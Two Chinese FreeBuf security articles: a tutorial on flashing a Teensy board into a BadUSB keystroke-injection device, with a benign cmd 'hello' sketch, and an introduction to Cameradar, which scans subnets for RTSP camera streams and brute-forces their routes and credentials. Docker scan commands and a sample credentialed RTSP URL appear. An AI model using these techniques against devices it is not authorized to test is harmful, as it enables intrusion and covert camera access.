实战Teensy烧录渗透测试U盘

*本文原创作者:lr3800_,属于FreeBuf原创奖励计划,禁止转载

在2014年美国黑帽大会上,柏林SRLabs的安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”(按照BadBIOS命名)的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。 

实战Teensy烧录渗透测试U盘

Teensy USB开发板

Teensy是一个非常小的完整的基于USB接口的单片机开发系统,能够实现多种类型的项目。所有的编程是通过USB端口。在没有特殊的程序要求下,只有一个标准的Mini-B USB电缆和PC或Macintosh电脑的USB端口。

主要特点:

可以是任何类型设备的USB

AVR处理器,16 MHz

单个按键编程

易于使用的Teensy Loader应用程序

免费软件开发工具

兼容Mac OS X,Linux和Windows

小尺寸,许多项目的完美支持

使用标签面包板

非常低的成本

所需工具:

1.Teensy ++ 2.0 

2.Teensyduino插件

3.arduino

实战Teensy烧录渗透测试U盘

淘宝上购买的Teensy ++ 2.0 五十元块钱 ,官网上最新 Teensy 3.6 售价29.25美元  淘宝卖到了将近300元  。建议先入手Teensy ++ 2.0  

教程开始

下载安装 ARDUINO 1.6.5    https://www.arduino.cc/en/Main/Software/

实战Teensy烧录渗透测试U盘

 选择对应的平台下载 

实战Teensy烧录渗透测试U盘

我使用的是Kali linux 系统 下载Linux 64 压缩包解压 进入arduino目录 运行 

./arduino

实战Teensy烧录渗透测试U盘

终端运行打开之后,但需安装Teensyduino插件  下载地址 http://www.pjrc.com/teensy/td_download.html

选择下载 Linux installer 64

实战Teensy烧录渗透测试U盘

下载完成终端打开  teensyduino.64bit 进行安装

./teensyduion.64bit

实战Teensy烧录渗透测试U盘

选择 arduino 安装目录> Next

实战Teensy烧录渗透测试U盘

选中 ALL >Next 

实战Teensy烧录渗透测试U盘

切换打开 arduino 

          选择菜单栏 Tools>board:  > Teensy ++ 2.0

开发环境已经准备好了!

老规矩 咱们先输出一段 “Hello, world” 

int myKeyBreak = 50;
void setup() {
  delay(5000);
  omg("cmd");
  delay(500);
  Keyboard.println("color a&&cls");
  delay(myKeyBreak);
  ascii_println("echo Welcome to hello!");

实战Teensy烧录渗透测试U盘

点击工具栏的 打勾按钮 检查代码无误后 进行编译

这时 Teensy 烧录器会弹出 这时可以插入Teensy 开发板了 

实战Teensy烧录渗透测试U盘

按下 “小按钮” 按下开发板的按钮 提示可以烧录了‘ 

实战Teensy烧录渗透测试U盘实战Teensy烧录渗透测试U盘

烧录成功!

把开发板插入 WIN系统 测试 

实战Teensy烧录渗透测试U盘

成功输出语句   ~ hackers 单词写错请无视! 

Demo文件

实战Teensy烧录渗透测试U盘

GITHUB下载  https://github.com/lr3800/teensy

演示:http://v.youku.com/v_show/id_XMTMzNTA0OTA5Ng==.html?spm=a2hzp.8244740.0.0

小总结‍‍

USB外设提供了多种入侵路径
‍‍一旦感染,通过USB外设或其他途径,恶意代码可以隐藏在外设中,避免被系统清除
‍‍只要USB控制器是可重复编程的,USB外设就不应该和他人共享

欢迎各位光临我的博客 http://lr3800.com/

或者微博互粉 http://weibo.com/lr3800

*本文原创作者:lr3800_,属于FreeBuf原创奖励计划,禁止转载

Cameradar:一款可以渗透CCTV摄像头的工具

今天给大家介绍一款RTSP流数据访问工具-Cameradar,这是一款可以渗透CCTV摄像头的工具,并且自带了相关代码库。

Cameradar:一款可以渗透CCTV摄像头的工具

Cameradar功能介绍

/1. 检测任何可访问的目标主机并扫描出开放的RTSP主机;

/2. 检测正在传送监控数据的设备型号;

/3. 发动自动化字典渗透入侵目标流路由器;

/4. 发动自动化字典渗透获取目标摄像头的用户名以及密码;

/5. 自动生成完整的分析报告;

Cameradar:一款可以渗透CCTV摄像头的工具

工具安装

首先你需要在电脑上安装docker,然后运行下列命令:

docker run -t ullaakut/cameradar -t<target> <other command-line options>

示例:

docker run -t ullaakut/cameradar -t192.168.100.0/24 -l

上面这条命令将会扫描192.168.100.0/24子网中所有主机的554和8554端口,并对发现的RTSP流数据进行渗透,最后输出调试日志。

<YOUR_TRGET>可以是一个子网(例如172.16.100.0/24),一个IP地址(例如172.16.100.10),或是一个IP地址范围(例如172.16.100.10-20)。

如果你想获取XML格式的nmap详细扫描结果,你可以在运行docker命令时(在ullaakut/cameradar之前)加上“-v /your/path:/tmp/cameradar_scan.xml”。

你还可以使用-r或-c参数来指定使用你的自定义字典,命令如下:

docker run -t -v/path/to/dictionaries/:/tmp/ ullaakut/cameradar -r /tmp/myroutes -c/tmp/mycredentials.json -t mytarget

依赖库

/1. curl-dev / libcurl (具体取决于你的OS)

/2. nmap

/3. github.com/pkg/errors

/4. gopkg.in/go-playground/validator.v9

/5. github.com/andelf/go-curl

安装代码库

go get github.com/EtixLabs/cameradar

你可以使用下列命令更新数据包:

go get -u

扫描与发现

你剋有使用Cameradar来进行简单的扫描任务:

Cameradar:一款可以渗透CCTV摄像头的工具

如果你已经知道了你所要渗透的主机以及端口,那你就可以直接使用Cameradar的渗透功能了。

数据模型

Cameradar为不同的功能设计了不同的数据模型结构:

Cameradar:一款可以渗透CCTV摄像头的工具

工具配置

CCTV监控摄像头一般使用的RTSP端口为554或8554,所以可以指定扫描这两个端口号。当然了,你也可以使用下列命令来扫描目标主机的18554端口和19000-19010之间的端口:

docker run -t ullaakut/cameradar -p"18554,19000-19010" -t localhost

除此之外,Cameradar已经给用户提供了非常好的渗透字典,这些渗透字典能够完成对绝大多数摄像头的渗透。字典文件位于项目目录的/dictionaries文件夹之中:

docker run -t -v/my/folder/with/dictionaries:/tmp/dictionaries /
        ullaakut/cameradar /
        -r "/tmp/dictionaries/my_routes" /
        -c"/tmp/dictionaries/my_credentials.json" /
        -t 172.19.124.0/24

如果你安装了VLC Media Player的话,你还可以使用GUI或命令行工具来链接RTSP流数据:

rtsp://username:password@address:port/route

在我们给出的演示例子中,RTSP地址如下:


rtsp://admin:12345@173.16.100.45:554/live.sdp

命令行选项

"-t, --target": 指定渗透目标,必选
"-p, --ports": (默认: 554,8554)设置自定义端口
"-s, --speed": (默认: 4) 设置nmap的扫描速度,建议降低扫描速度
"-T, --timeout": (默认: 1000) 设置timeout
"-r, --custom-routes": (默认:dictionaries/routes) 设置路由器字典路径
"-c, --custom-credentials": (默认:dictionaries/credentials.json) 设置凭证字典路径
"-o, --nmap-output": (默认:/tmp/cameradar_scan.xml) 设置自定义nmap输出路径
"-l, --log": 启用调试日志
"-h" : 显示帮助信息

* 参考来源:cameradar,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM